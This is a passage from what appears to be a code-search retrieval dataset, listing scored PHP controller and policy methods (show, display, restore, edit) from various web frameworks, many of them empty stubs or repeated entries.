View::make('resource/show', compact('resource'));\n\t}", "title": "" }, { "docid": "14f061e926b1904b496ec52586cb2b35", "score": "0.63535744", "text": "public function display() {\n\t\t\ttry {\n\t\t\t\tif(!is_null($this->id)) {\n\t\t\t\t\t$this->returnView($this->model->display($this->id));\n\t\t\t\t} else {\n\t\t\t\t\t$this->error404();\n\t\t\t\t}\n\t\t\t} catch(Exception $e) {\n\t\t\t\t$this->session->add('error', $e->getMessage());\n\t\t\t\texit(header('Location: '.$_SERVER['HTTP_REFERER']));\n\t\t\t}\n\t\t\t$this->session->sUnset('error');\n\t\t}", "title": "" }, { "docid": "30460e9f10fc35f6066e56c0edf07f11", "score": "0.62772554", "text": "public function resource($resource)\n {\n // TODO: Implement resource() method.\n }", "title": "" }, { "docid": "742c2b4cd2f26a04a82af80f8ee84057", "score": "0.62133056", "text": "public function show()\n {\n $dispatcher = Dispatcher::getSharedDispatcher();\n $dataProvider = $this->getDataProvider();\n $controller = $dataProvider->getControllerClassForPath($this->getPath());\n $action = $this->getIdentifier() . 'Action';\n $controller = GeneralUtility::makeInstance($controller);\n\n if (is_object($controller)) {\n $controller->setRequest($dispatcher->getRequest());\n }\n if (is_numeric($this->getIdentifier())\n && is_object($controller) && method_exists($controller, 'showAction')\n ) {\n $result = $controller->processAction('showAction', $this->getIdentifier());\n } elseif (is_object($controller) && method_exists($controller, $action)) {\n $result = $controller->processAction($action);\n } else {\n $result = false;\n }\n\n return $result ? $this->createResponse($result, 200) : $result;\n }", "title": "" }, { "docid": "f61677388a9b71138fce919e36a82ca0", "score": "0.61413664", "text": "public function show($id)\n {\n #$resource = resource::find($id);\n $resource = Resource::where('slug', '=', $id)->orWhere('id', '=', $id)->firstOrFail();\n\n $related_resources = Resource::where('id', \"!=\", $resource->id)\n ->orWhere('name', 'LIKE', '%' . $resource->name . '%')\n ->orWhere('description', 'LIKE', '%' . $resource->description . '%')->take(8)->get();\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $related_resources,\n ];\n\n return view('resources.show-resource')->with($data);\n }", "title": "" }, { "docid": "404169262f3328542c2f476a8bae067c", "score": "0.6073625", "text": "public function fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n $this->fixURI($resource_name);\n\n return parent::fetch($resource_name, $cache_id, $compile_id, $display);\n }", "title": "" }, { "docid": "90a025ba515ea1ffda1792e51f379566", "score": "0.6065236", "text": "public function show($id)\n {\n $resource = Resource::findOrFail($id);\n\n return view('resources.show')->with(compact('resource'));\n }", "title": "" }, { "docid": "d4b48f077d182386266a016e1934227a", "score": "0.60600674", "text": "public function render(&$objResource);", "title": "" }, { "docid": "120fe33c517800f7a36fd36a7d8ff2a0", "score": "0.6034755", "text": "public function showAction($id);", "title": "" }, { "docid": "691f9d494ebbd3698416c27402ce6045", "score": "0.6024695", "text": "public function show($id)\n {\n if (is_numeric($id)) {\n return new ActionResource (Action::find($id));\n }else{\n abort(404 , 'resource not found.');\n \n }\n \n }", "title": "" }, { "docid": "c6f154f853b604d366507e7f3651128c", "score": "0.59881043", "text": "public function index()\n\t{\n\t\t$this->load->view('resource');\n\t}", "title": "" }, { "docid": "78f674e0991329ee80d8bfe522602ce3", "score": "0.59581137", "text": "public function actionShow()\n {\n $this->render('show', array());\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "3411150986f3334a3ae059e3824a705e", "score": "0.59518707", "text": "public function showAction() {\n\n\t\t// ...\n\t\tif(isset($this->externalWebsiteUri)) {\n\t\t\t$this->view->assign('external_website_uri', $this->externalWebsiteUri);\n\t\t}\n\t}", "title": "" }, { "docid": "51df0e59505572a08a6c3c4ea6558bb4", "score": "0.5942475", "text": "public function showAction()\n\t{\n\t\t$this->loadLayout()->renderLayout();\n\t}", "title": "" }, { "docid": "7a089792dd9f8cefa56e79369d710cb2", "score": "0.59358656", "text": "public function show(Request $request, string $resource, string $id) {\n if(!Lyra::checkPermission('read', $resource)) abort(403);\n\n if(config('lyra.translator.enabled') && $request->has('lang')) App::setLocale($request->get('lang'));\n\n $resourcesNamespace = Lyra::getResources()[$resource];\n $modelClass = $resourcesNamespace::$model;\n\n if (method_exists($modelClass, 'trashed')) {\n $model = $modelClass::withTrashed()->find($id);\n } else {\n $model = $modelClass::find($id);\n }\n\n if (!Arr::first($model)) return abort(404, \"No query results for model [$modelClass]\");\n $resourceCollection = new $resourcesNamespace(collect([$model]));\n return $resourceCollection->getCollection($request, 'show');\n }", "title": "" }, { "docid": "a5fe9713f7fa35feab808a95acb937a5", "score": "0.59236246", "text": "public function show(Artist $artist)\n {\n\n\n return new ShowArtistResource($artist);\n\n\n }", "title": "" }, { "docid": "4dd721a222d59966f8999c2bf46a1634", "score": "0.5913372", "text": "public function url($resource = self::URL_RESOURCE, array $args = array()) \n {\n return parent::url($resource, $args);\n }", "title": "" }, { "docid": "eaff1ff5ad75e879908bb065beeea534", "score": "0.5910201", "text": "public function edit(Resource $resource)\n {\n return view('actions.resource.edit', compact('resource'));\n }", "title": "" }, { "docid": "f2800dcfd7234cc6b914253341f2a919", "score": "0.5905734", "text": "public function display()\n {\n $this->getAdapter()->display();\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "c6b5201b64b56afc1aba96e7f01df942", "score": "0.5895745", "text": "public function displayAction()\r\n\t\t{\r\n\r\n\t\t\t$q = Doctrine_Query::create()\r\n\t\t\t->from('Webteam_Model_User i')\r\n\t\t\t->where('i.UserName = ?', $this->identity['UserName']);\r\n\t\t\t$result = $q->fetchArray();\r\n\t\t\tif (count($result) == 1) {\r\n\t\t\t\t$this->view->item = $result[0];\r\n\t\t\t} else {\r\n\t\t\t\tthrow new Zend_Controller_Action_Exception('Page not found', 404);\r\n\t\t\t}\r\n\r\n\t\t}", "title": "" }, { "docid": "e1911719b5dbc5045d62ac4e5e20cd33", "score": "0.587909", "text": "protected function showAction() {\n\t\t$em = $this->getEntityManager();\n\t\t$book = $em->find('Entities\\\\Book', $_GET['id']);\n\t\t$this->addContext('book', $book);\n\t}", "title": "" }, { "docid": "9593ec2b031b164d16249f1ae81182ef", "score": "0.58776784", "text": "public function show(Retex $retex)\n {\n //\n }", "title": "" }, { "docid": "093db99e28544f24edb386d2bf2129f0", "score": "0.58682454", "text": "public function display() {\n\t\t$this->displayContent();\n\t}", "title": "" }, { "docid": "95d012dca84499e39b434e04c9f86031", "score": "0.58522356", "text": "public function showAction()\n\t{\n\t\tif (!isset($this->sGlobal->uId) && !Zend_Auth::getInstance ()->hasIdentity ()) {\n\t\t\t$this->_helper->redirector->gotoRoute ( array('action' => 'index', 'controller' => 'auth'), 'default' );\n\t\t}\n\t\t \n\t\t$dbRoutes = new Model_Ride_DbRoutes();\n\t\t\n\t\t$routes = $dbRoutes->getRoutesByUserId($this->sGlobal->uId);\n\t\t\n\t\t$this->view->routes = $routes;\n\t\t\n\t\t$this->view->deleteRideLink = $this->_helper->url->url(array('controller'=>'Ride', 'action'=>'deleteride'), 'default', true);\n\t\t\n\t}", "title": "" }, { "docid": "a6ea4c61d98549d6b82aa6c50e5153c9", "score": "0.58442765", "text": "public function show($id)\n {\n // return \"Show \".$id;\n abort(404);\n }", "title": "" }, { "docid": "57e04be30c8d73c6f1b1f97f0813c951", "score": "0.5839814", "text": "public function show($parm);", "title": "" }, { "docid": "7fa6d8ebb4c7b91b6b1219f34c1ccc2e", "score": "0.5827577", "text": "public function show()\n {\n return $this->resource->transform();\n }", "title": "" }, { "docid": "1f025b0828827877859e8e2f72f5add5", "score": "0.5824839", "text": "public function resourceAction();", "title": "" }, { "docid": "bc8b175839d90931dc37b6d17073534e", "score": "0.5824825", "text": "public function displayAction()\n {\n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n );\n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams());\n\n // test if input is valid\n // retrieve requested record\n // attach to view\n if ($input->isValid()) {\n $q = Doctrine_Query::create()\n ->from('Zf1_Model_Item i')\n ->leftJoin('i.Zf1_Model_Country c')\n ->leftJoin('i.Zf1_Model_Grade g')\n ->leftJoin('i.Zf1_Model_Type t')\n ->where('i.RecordID = ?', $input->id)\n ->addWhere('i.DisplayStatus = 1')\n ->addWhere('i.DisplayUntil >= CURDATE()');\n $sql = $q->getSqlQuery();\n $result = $q->fetchArray();\n if (count($result) == 1) {\n $this->view->item = $result[0];\n $this->view->images = array();\n $config = $this->getInvokeArg('bootstrap')->getOption('uploads');\n foreach (glob(\"{$config['uploadPath']}/{$this->view->item['RecordID']}_*\") as $file) {\n $this->view->images[] = basename($file);\n }\n $configs = $this->getInvokeArg('bootstrap')->getOption('configs');\n $localConfig = new Zend_Config_Ini($configs['localConfigPath']);\n $this->view->seller = $localConfig->user->displaySellerInfo;\n $registry = Zend_Registry::getInstance();\n $this->view->locale = $registry->get('Zend_Locale');\n $this->view->recordDate = new Zend_Date($result[0]['RecordDate']);\n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404);\n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input');\n }\n }", "title": "" }, { "docid": "bcd5d6f048ed9967b2cc42a2b9c646e4", "score": "0.58217233", "text": "public function show($id)\n\t{\n\t\t//...\n\t}", "title": "" }, { "docid": "062f661f5aa2b0fb00beffc662c406c7", "score": "0.58164716", "text": "public function show($id)\n {\n $catalog_detail = Catalog::where(\"id\", \"=\", $id,)->first();\n\n if (!is_null($catalog_detail)) {\n return $this->ok(\"\", new CatalogResource($catalog_detail));\n }\n\n return $this->ok(__('global.record_not_found'));\n }", "title": "" }, { "docid": "e5b312e565cadd216286627cb156afa1", "score": "0.5814938", "text": "public function show() {\n $this->display = true;\n }", "title": "" }, { "docid": "3c83da877de5a8b9a28620cc567e154f", "score": "0.5812585", "text": "public function show($model)\n {\n $model = $this->getModel($model);\n\n $this->authorize('view', $model);\n\n $model = $this->showModel($model);\n\n $resource = resource($model);\n\n return ok($resource);\n }", "title": "" }, { "docid": "8fa3c5aa92241bd98bf245a72087750b", "score": "0.58067733", "text": "public function show($id)\n {\n return Resource::find($id);\n }", "title": "" }, { "docid": "305f64db85d64f68019d2fadcd0a85d2", "score": "0.58012545", "text": "public function show()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "7d4b687c2015cbab6585700fbd9fed75", "score": "0.5790671", "text": "protected function showResourceView($id)\n\t{\n\n\t\t$element = $this->getElements($id);\n\t\treturn Response::view('adm/Regions/element', array('data' => $element));\n\n\t}", "title": "" }, { "docid": "6d0ead3170a91374660511ebe07a7e52", "score": "0.57788694", "text": "public function display($file){\n\t\techo $this->fetch($file);\n\t}", "title": "" }, { "docid": "1ebe558af6c12f3e75c7741d736cd837", "score": "0.5773779", "text": "public function show($id)\n\t{\n\t\t$this->layout->nest('content', $this->view, ['car' => $this->resource]);\n\t}", "title": "" }, { "docid": "ff99e6923e061969deb024f038cd9fd9", "score": "0.5771933", "text": "public abstract function show();", "title": "" }, { "docid": "f37f81a8bf0d836ce01d6e66ee929689", "score": "0.57692647", "text": "public function show()\n {\n $ResourceRepo = new ResouceRepo();\n $res = $ResourceRepo->show();\n $count = $ResourceRepo->getcount();\n\n return view('ViewResource',['resources' => $res,'totalcount' =>$count]);\n }", "title": "" }, { "docid": "23d3f586042fc7ef9f98c33613fd010d", "score": "0.5757193", "text": "public function url($resource = 'instances', array $args = array())\n {\n return parent::url($resource, $args);\n }", "title": "" }, { "docid": "64ca047c763cbf564dd5de6f46e00c8a", "score": "0.5757105", "text": "public function display(){}", "title": "" }, { "docid": "be16c52b6734a0cf50cdaa52b26c8ee0", "score": "0.57546145", "text": "public function show(Resroom $resroom)\n {\n //\n }", "title": "" }, { "docid": "6552a6831d000ffc0b68b09357fd4a3c", "score": "0.5750852", "text": "public function show($id)\n\t{\n\t\techo $id;\n\t}", "title": "" }, { "docid": "58d82a32f57975c44fc660ccacd3a42f", "score": "0.5749565", "text": "public function resource( $resc= '')\n {\n return view('home.resource',['resource'=>$resc]);\n }", "title": "" }, { "docid": "c28bc00a20642b8f45cbb36b8f142bb6", "score": "0.5747548", "text": "public function show( $id );", "title": "" }, { "docid": "f3bc4ff0e0f2cc54bf914d77670e405e", "score": "0.5737612", "text": "public function edit(Resource $resource)\n {\n return view('resource.edit',['resource'=>$resource]);\n }", "title": "" }, { "docid": "a5c4f542acf75c65ff05c5578f254411", "score": "0.57365245", "text": "public function show($id)\t{\n\t\t//\n\t}", "title": "" }, { "docid": "c0c57945d6d1643edc1ffb95ae99eef9", "score": "0.5735039", "text": "public function show($id)\n { \n if( $this->checkShowModelRequest($id) ) return abort(404, \"Resource not found\");\n\n if(request()->expectsJson() || $this->onlyJsonResponse) \n return response()->json($this->showModelQueryResponse($id));\n\n return $this->renderView(\n $this->moduleName != null ? Str::plural($this->moduleName) . '.show' : 'show' ,\n $this->showResponse($id)\n );\n }", "title": "" }, { "docid": "1bb2758d3ba7fe86461bda00a9606e3e", "score": "0.5734708", "text": "public function show( $id )\n\t{\n\t\t$model = Input::get( 'model' );\n\n\t\tif ( !class_exists( $model ) ) {\n\t\t\treturn $this->renderResponse( false, \"That model does not exist\" );\n\t\t}\n\n\t\t$item = $model::find( $id );\n\n\t\tif ( !is_null( $item ) ) {\n\t\t\tif ( property_exists( $item, 'eager_relations' ) ) {\n\t\t\t\t$item->load( $item->eager_relations );\n\t\t\t}\n\t\t\treturn $this->renderResponse( true, $item->toArray( true ) );\n\t\t}\n\n\t\treturn $this->renderResponse( false, \"Resource not found\" );\n\t}", "title": "" }, { "docid": "ab8f27385173dda96b8eaafa7aa90f82", "score": "0.5734516", "text": "public function show(Hirtory $hirtory)\n {\n //\n }", "title": "" }, { "docid": "cb0625cb8bda35818012bd67fb011d73", "score": "0.5728958", "text": "protected function showAction()\n {\n $this->showAction\n ->setAccess($this, Access::CAN_SHOW)\n ->execute($this, NULL, UserActionEvent::class, NULL, __METHOD__)\n ->render()\n ->with(\n [\n 'user_log' => $this->userMeta->unserializeData(\n ['user_id' => $this->thisRouteID()],\n [\n 'login', /* array index 0 */\n 'logout', /* array index 1 */\n 'brute_force', /* index 2 */\n 'user_browser' /* index 3 */\n ]\n )\n ]\n )\n ->singular()\n ->end();\n }", "title": "" }, { "docid": "09abe18b0f313de0a8ae600fe6626d31", "score": "0.57271934", "text": "public function display() {\r\n\t\techo '<a href=\"' . $this->_link .\r\n\t\t\t\t'\" title=\"' . $this->_text .\r\n\t\t\t\t'\">' . $this->_text . '</a><br/>';\r\n\t}", "title": "" }, { "docid": "20397e06b8673db8692c5f84120c3011", "score": "0.5724891", "text": "public function show()\n\t{\n\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "d02c7bae2c97989fe256da11612461c7", "score": "0.5721667", "text": "function display()\n\t{\n\t\t$document \t=& JFactory::getDocument();\n\t\t$viewType\t= $document->getType();\t\n \t\t$viewName\t= JRequest::getCmd( 'view', $this->getName() );\n \t\t$view\t\t=& $this->getView( $viewName , '' , $viewType );\n \t\tif($this->checkPhotoAccess())\n \t\t\techo $view->get( __FUNCTION__ );\n\t}", "title": "" }, { "docid": "3e94f05854b4dbc5a4d900f54aa8043a", "score": "0.5719658", "text": "function index( $request ){\r\n\t\t\r\n\t\t// Look for \"resource\" in request //\r\n\t\t$requestVars = Router :: getRequestVars();\r\n\t\t\r\n\t\t// Show a help page if local //\r\n\t\tif( App :: get()->local ){\r\n\t\t\tif( !isset( $requestVars->resource )){\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Hard set the channel to simplify URLs to resource view //\r\n\t\tRouter :: resetChannel( 'resource' );\r\n\t\t\r\n\t}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "e2404ea37d0dd7d634ec1a88ba6e0b01", "score": "0.5708454", "text": "public function show() {\n\t\t$author = pick_arg(Author::class);\n\t\treturn $this->viewShow(compact('author'));\n\t}", "title": "" }, { "docid": "695e29ca27ebbcb0a342e19915e00ae9", "score": "0.57076776", "text": "protected function makeDisplayFromResource()\n\t{\n\t\t$query = Query::getQuery();\n\t\t$json = json_encode($this->activeResource);\n\t\tif(isset($query['callback']) && self::$jsonpEnable)\n\t\t{\n\t\t\t$this->mimeType = 'application/javascript';\n\t\t\t$callback = preg_replace('[^A-Za-z0-9]', '', $query['callback']);\n\t\t\treturn $callback . '(' . $json . ')';\n\t\t}else{\n\t\t\treturn $json;\n\t\t}\n\t}", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" } ]
15b6a2f6090b7276c56649eab8c5ede2
Determine whether the user can restore the model.
[ { "docid": "8a1669307ff13e89a797438110cfeb25", "score": "0.0", "text": "public function restore(User $user, Playlist $playlist)\n {\n //\n }", "title": "" } ]
[ { "docid": "893fdfe1282e007d28b53ce3bc103f25", "score": "0.7300642", "text": "public function can_restore() {\n $context = \\context_coursecat::instance($this->_categoryid);\n return has_capability('tool/recyclebin:restoreitems', $context);\n }", "title": "" }, { "docid": "44e9672737d180541bbd4f441f529c90", "score": "0.6815728", "text": "public function restore(User $user)\n {\n return $user->hasPermissionTo('restore', 'roles');\n }", "title": "" }, { "docid": "fec7c8daf06443ae449c677509bd7888", "score": "0.6794062", "text": "public function restore(User $user, User $model)\n {\n return $user->hasPermission('restore-moui-account');\n }", "title": "" }, { "docid": "88c964e3f03dac35e5529f796d90b403", "score": "0.6678836", "text": "public function restore(User $user): bool\n {\n return $user->can('Restore Ads');\n }", "title": "" }, { "docid": "ed7badb21b3d2ee51f28a054913f5a50", "score": "0.66071093", "text": "public function restore(User $user, Model $model, Request $request)\n {\n return $request->user()->tokenCan('be-trusted');\n }", "title": "" }, { "docid": "f400a72c0a2e24f80a1e1bb0c6425f6f", "score": "0.65876883", "text": "public function restore(User $user, User $model)\n {\n return true;\n }", "title": "" }, { "docid": "9e3c14168d052d2eede3515f34b06c38", "score": "0.6553545", "text": "public function restore(User $user, Hotel $model): bool\n {\n return false;\n }", "title": "" }, { "docid": "b18c6a3450c3feae80beaef7796c2d9f", "score": "0.654099", "text": "protected function isRestoring(): bool\n {\n return $this->option('restore') == 'true';\n }", "title": "" }, { "docid": "a890e6a35947f7e8339ad876529b4f40", "score": "0.64404684", "text": "public function isRestorable()\n {\n return $this->restore ? true : false;\n }", "title": "" }, { "docid": "b0c954563248480233d60f16e2e5337a", "score": "0.64319545", "text": "public function restore(User $user, System $system)\n {\n //\n return $user->id === 1;\n }", "title": "" }, { "docid": "574f4a1558b617aa42b5144473bb4eb2", "score": "0.64285177", "text": "public function restore(){\n if($this->trashed()){\n $this->restore();\n }\n return true;\n }", "title": "" }, { "docid": "04d2eb695c471e07a76c3c1cb8ccdaa7", "score": "0.64252454", "text": "public function restore(User $user)\n {\n return $user->role == 3;\n }", "title": "" }, { "docid": "07c42b4a18fd51e5c1627de146bc6530", "score": "0.64088553", "text": "public function restore(User $user, Gender $model)\n {\n return true;\n }", "title": "" }, { "docid": "511b7591a7e347635611484be0d1dbaa", "score": "0.6350471", "text": "public function restore(User $user, PersonnelType $model)\n {\n return false;\n }", "title": "" }, { "docid": "4756799fd507e2b87873619d47e7d39a", "score": "0.6335742", "text": "public function restore(User $user)\n {\n return $user->isSystemAdmin();\n }", "title": "" }, { "docid": "ea93aa896ad2de8c7b4122b1ca77ef70", "score": "0.6276062", "text": "public function restore(User $user)\n {\n return $user->role == 2 && $user->status == 1;\n }", "title": "" }, { "docid": "e47a7d4afc58e37749ec5d046e665b97", "score": "0.6247526", "text": "public function restore(User $user, StockDischarge $model)\n {\n return false;\n }", "title": "" }, { "docid": "5018db66778107a069a4deabab6232aa", "score": "0.62438875", "text": "public function restore(User $user, Airport $airport)\n {\n return $user->can('airport:restore');\n }", "title": "" }, { "docid": "77291fcc9cc7ee5a1df25cc984534c5a", "score": "0.6239967", "text": "public function restore(User $user, Payment $model)\n {\n return false;\n }", "title": "" }, { "docid": "4b742f647a29cb04553c6d01c2e77edf", "score": "0.62171704", "text": "public function restore(User $user, Resume $resume)\n {\n return false;\n }", "title": "" }, { "docid": "420ecd1797343313b92891bb9f5cf732", "score": "0.6189867", "text": "public function restore(?User $user, Files $model = null)\n {\n return optional($user);\n // $table_name = $model->getTable();\n // $permissions = $model->getPermissions('restore');\n // $permissions[] = $table_name.'@restore';\n // $permissions[] = $table_name.'@*';\n // return $user->hasAnyPermission($permissions);\n }", "title": "" }, { "docid": "fedacee5c8c438b1c2c93ead85b12516", "score": "0.6140562", "text": "public function restore(User $user, Maid $maid)\n {\n return $user->hasPermissionTo('restore maids');\n }", "title": "" }, { "docid": "18d780ad8cbbcaafe40a3554d8bcbf4d", "score": "0.6130066", "text": "public function restore(User $user, Video $video)\n {\n return $user->can('Delete any Video');\n }", "title": "" }, { "docid": "3e7ee839c6c0e7370a5877a434251c85", "score": "0.61072695", "text": "public function restore(User $user, OAuth2AccessToken $token): bool\n {\n return false;\n }", "title": "" }, { "docid": "bb9890db72db116f7f3a3f6911bc9997", "score": "0.60806", "text": "public function restore(User $user, OrderCategory $model)\n {\n return false;\n }", "title": "" }, { "docid": "d191630f292160155ceed2eaf1b20041", "score": "0.60695887", "text": "public function restore(User $user, Manga $manga)\n {\n return ! $user->hasRole('Banned') &&\n $user->hasPermission('restore', Manga::class);\n }", "title": "" }, { "docid": "2678adedb4a0d9c67263815ec1cf9295", "score": "0.60355234", "text": "public function restore(User $user, TaskType $taskType)\n {\n if($user->role->id < 2){\n return true;\n }\n }", "title": "" }, { "docid": "a20829f9905435b23f013e77d8c9cc15", "score": "0.603027", "text": "public function restore(User $user, Organization $organization): bool\n {\n return false;\n }", "title": "" }, { "docid": "8f264ef0d344b1c5e44316c793585aa0", "score": "0.6014677", "text": "public function restore(){\n \n if($this->isDeleted == 1){\n $this->isDeleted = 0;\n $this->save(false);\n return true;\n } else {\n return false;\n }\n \n }", "title": "" }, { "docid": "9c72b7951fee9bca0e1beeb9d6856525", "score": "0.6001696", "text": "public function restore(User $user)\n {\n return $user->isAdmin();\n }", "title": "" }, { "docid": "4491b0d499a2de2f0ed8c3cf0ea24bbd", "score": "0.59629923", "text": "public static function restore() {\n\t\t$ret = false;\n\t\tif (Session::is_started()) {\n\t\t\t$ret = Session::pull('status');\n\t\t}\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "3416b81d004a4e17ba162e253d785239", "score": "0.59554654", "text": "function is_restore_in_progress()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n $script = new Script(basename(self::CMD_RESTORE));\n return $script->is_running();\n }", "title": "" }, { "docid": "46279f20062290cfd3c40eeff68c8b43", "score": "0.59464276", "text": "public function restore(User $user, Profile $profile)\n {\n return true;\n }", "title": "" }, { "docid": "7bf907338232c93cbd31e5c2187598e8", "score": "0.5932598", "text": "public function restore(User $user, Image $image)\n {\n return $user->level >= Role::ADMIN_LEVEL;\n }", "title": "" }, { "docid": "63265da1eeeb25dfb607c02299a8a6eb", "score": "0.5872641", "text": "public function hasSaveProtection():bool;", "title": "" }, { "docid": "ef7c179eb2d36f6ce060358de33f7310", "score": "0.58587116", "text": "public static function restore($data)\n {\n if (!$data->restore()) {\n die('ada kesalahan saat restore data, mohon hubungi admin.');\n }\n\n return true;\n }", "title": "" }, { "docid": "2242b910eb118feaf063fd20279c4e0b", "score": "0.5854977", "text": "public function restore()\n {\n $result = parent::restore();\n Cache::tags('role_permissions')->flush();\n\n return $result;\n }", "title": "" }, { "docid": "2d616b4a9d000048a8ac684173ae1e27", "score": "0.5837634", "text": "public function restore(int $id): bool;", "title": "" }, { "docid": "c03e06ea3a36e964cce012d3fa72c300", "score": "0.58135813", "text": "abstract protected function canBeSaved();", "title": "" }, { "docid": "8be76d709631b3f4dca253465cb6aa8f", "score": "0.57987195", "text": "public function restore(User $user, Ability $ability)\n {\n return $user->can('manage-abilities');\n }", "title": "" }, { "docid": "76e32b18b519028d23845a18a84b7880", "score": "0.57728744", "text": "public function restore(User $user, Login $login)\n {\n if ($user->isAdmin()) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "e59f89f15e3660c84c3e307907b42867", "score": "0.57447034", "text": "public function restore(User $user, Person $person)\n {\n return false;\n }", "title": "" }, { "docid": "08407b851c1e248b57a74eb696beb4fa", "score": "0.5722247", "text": "public function restore(User $user, Flat $flat)\n {\n return in_array($user->role, self::accessRoles);\n }", "title": "" }, { "docid": "e69b44122bc1eb29431eb5fd99d729c5", "score": "0.57147884", "text": "public function beforeSave()\n {\n if (!$this->checkPermissions()) {\n return $this->modx->lexicon('access_denied');\n }\n\n return true;\n }", "title": "" }, { "docid": "e69b44122bc1eb29431eb5fd99d729c5", "score": "0.57147884", "text": "public function beforeSave()\n {\n if (!$this->checkPermissions()) {\n return $this->modx->lexicon('access_denied');\n }\n\n return true;\n }", "title": "" }, { "docid": "e2531c9f1812d8935649349d905f0347", "score": "0.57043016", "text": "public function beforeSave() {\n\t\tif (!$this->checkPermissions()) {\n\t\t\treturn $this->modx->lexicon('access_denied');\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "d5840254f9bef8a4a62ef5a399a9edf6", "score": "0.5683232", "text": "public function restore(User $user, Attendance $attendance)\n {\n return false;\n }", "title": "" }, { "docid": "c9602036c0a1b4e482e80eaa707508ed", "score": "0.568307", "text": "public function restore(User $user, UserPrivacySetting $setting)\n {\n // We will add authorization logic for this function\n // when we handle restore endpoint.\n return false;\n }", "title": "" }, { "docid": "fd9d3d183f6372d5f0e2c0aa7298df72", "score": "0.5680664", "text": "public function restore(User $user, Echelon $echelon)\n {\n return $user->hasPermission('restore-organization-echelon');\n }", "title": "" }, { "docid": "e883c03c2d5201acbc83d460eeb85701", "score": "0.5668059", "text": "public function restore(User $user, Password $password)\n {\n return $user->hasPermission('restore-moui-password');\n }", "title": "" }, { "docid": 